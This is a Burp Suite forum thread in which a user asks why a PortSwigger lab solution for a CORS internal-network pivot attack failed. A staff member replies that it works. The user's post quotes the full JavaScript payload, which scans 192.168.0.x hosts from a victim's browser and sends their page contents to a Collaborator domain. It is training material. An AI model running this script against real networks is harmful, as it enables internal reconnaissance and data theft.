Research Academy Daily Swig
My account Customers Account and subscription management About Blog Careers Legal Contact Resellers

Burp Suite User Forum

Login to post

Solution didn't work

Nguyen | Last updated: Jan 25, 2023 02:17PM UTC

Hi, I was doing the Lab "CORS vulnerability with internal network pivot attack" and couldn't solve it with the provided solution. Specifically, in Step 1, I didn't receive any Collaborator interaction although I used the same code provided. The code looked like this: <script> var q = [], collaboratorURL = 'http://uca6cq9k9dox7k5onqoebex61x7ovgj5.oastify.com'; for(i=1;i<=255;i++) { q.push(function(url) { return function(wait) { fetchUrl(url, wait); } }('http://192.168.0.'+i+':8080')); } for(i=1;i<=20;i++){ if(q.length)q.shift()(i*100); } function fetchUrl(url, wait) { var controller = new AbortController(), signal = controller.signal; fetch(url, {signal}).then(r => r.text().then(text => { location = collaboratorURL + '?ip='+url.replace(/^http:\/\//,'')+'&code='+encodeURIComponent(text)+'&'+Date.now(); })) .catch(e => { if(q.length) { q.shift()(wait); } }); setTimeout(x => { controller.abort(); if(q.length) { q.shift()(wait); } }, wait); } </script> May anyone help?? Thank you in advance!

Ben, PortSwigger Agent | Last updated: Jan 26, 2023 09:38AM UTC

Hi, I have just tested this by copying the suggested script from the written solution and adding my specific collaborator details and I am receiving interactions as expected so it does appear to be working as expected. The formatting on the script has been slightly lost when you have posted this but is the script formatted as it is in the written solution?

You need to Log in to post a reply. Or register here, for free.